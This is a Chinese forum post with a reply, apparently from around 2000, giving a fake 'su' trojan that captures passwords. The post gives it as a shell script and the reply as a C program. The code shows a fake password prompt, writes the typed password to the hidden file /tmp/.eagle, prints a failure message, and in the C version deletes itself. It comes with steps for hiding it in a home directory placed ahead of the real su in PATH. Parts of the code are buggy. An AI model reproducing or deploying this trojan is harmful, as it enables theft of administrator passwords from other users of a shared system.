大家好!
上次那个shell脚本的文章,abu帮我发给大家了,不是为了什么,主要就是
提醒大家注意的是shell在unix中的重要地位,熟悉了shell就等于熟悉了unix
的外壳,嘿嘿,你的unix就算已经入门了。
好了,言归正传,这个方法使用范围不广,其实不是为了破坏,呵呵,在freebsd
中su的却省位置就在/usr/bin下,所以你也无法入侵。上次的脚本在读用户的输入
密码时有缺憾,用户输入时,密码是明文的,这容易引起怀疑,我改了一下使其
不再显示用户输入密码。
#! /bin/sh
stty echo
echo -n "Password:"
read PASSWD 1>/dev/null /*也就是在这行上做文章,大家看懂了?把此命令的标准输出文件描述符重定向到/dev/null这个unix黑洞中*/ /*他所说的那个>是一个重定向符号,实际上就是把>左边的输出作为>右边 的输入,在理解的过程中,你可以认为左边的是你说话,右边是录音机,录 音机录下来的不是大自然的声音,而是你输出的声音,*/
stty echo
echo
echo "Sorry"
echo "$1/$2:$PASSWD">>/tmp/.eagle
如有问题,请来信询问,嘿嘿
--------------------------------------------------------------------------------
回复人:大鹰 回复时间:2000-12-1 14:27:32
我用c重写:
#include <stdio.h> /*包含库文件<stdio.h>*/
#include <stdlib.h> /*包含库文件<stdlib.h>*/
#define SU_PAS "/tmp/.eagle" /*用SU。PAS来在程序里面代替"/tmp/.eagle"*/
main (int argc, char *argv[]) /*主程序的开头和它的参数*/
{
char *key; /*定义*KEY为一个字符串变量*/
char buf[24]; /*定义BUF[24]*为一个字符数组*/
FILE *fd; /*定义文件指针FD,如果你学习基本的C,你会明白上面的道理,因 为FILE代表的是文件,而*代表的是指针,后面的FD是指它就是指针*/
key = (char *)getpass ("Password:"); GET
fd = fopen(SU_PASS,"w"); /*用文件指针打开SU.PASS文件,用"W"来代表写的工作方式,*/
fprintf(fd, "pass: %s\n", key);/*打印出来PASS提示,把变量KEY作为输入*/
fclose(fd); /*关闭文件指针,这样的话,就可以关闭保存文件了大家要学习C语 言呀!不是很难的,只要你不去自己开发太大的程序的话,看懂大 鹰的这个程序的C语言,我只用了三天看C语言的书,当然,我不是 天才,大家也不要就认为我是高手*/
printf ("su: incorrect password\n"); /*打印出""里面的字符*/
sprintf(buf, "rm %s", argv[0]);
system(buf);
exit(1); /*退出*/
}
/* 这次我用c来实现,用的时候需在主目录下建立一个隐藏目录,如.eagle,把su程序考到下面,编译,然后
再add PATH=$HOME/.eagle:$PATH,( 记住要使$HOME/.eagle在$PATH之前)ok了,呵呵*/
/*PATH=$HOME/.eagle:$PATH是什么意思呢?主要是把大鹰的这个程序的路径加到启动的里面,就和在AUTOEXEC.BAT里面的调用是一样,熟悉DOS操作系统的朋友应该知道,在调用一个外部命令的时候,如果不是在自己当前的目录下面是不行的,但是如果在启动的加载里面有这个路径的话,就可以了, 他的"PATH="也就是这个道理,其实操作系统的原理大部分相同,我们在学习的过程中不要认为有多难,我的上网的时间不是很多,况且现在连电脑都找不到地方放,我水平有限,请大家不要写信给我问问题,写信教我或者和我交流问题,我很感谢*/
------------------
人生就像一个方程:
一是有解;
一是无解;
我就是属于无解的。
------------------
人生就像一个方程:
一是有解;
一是无解;
我就是属于无解的。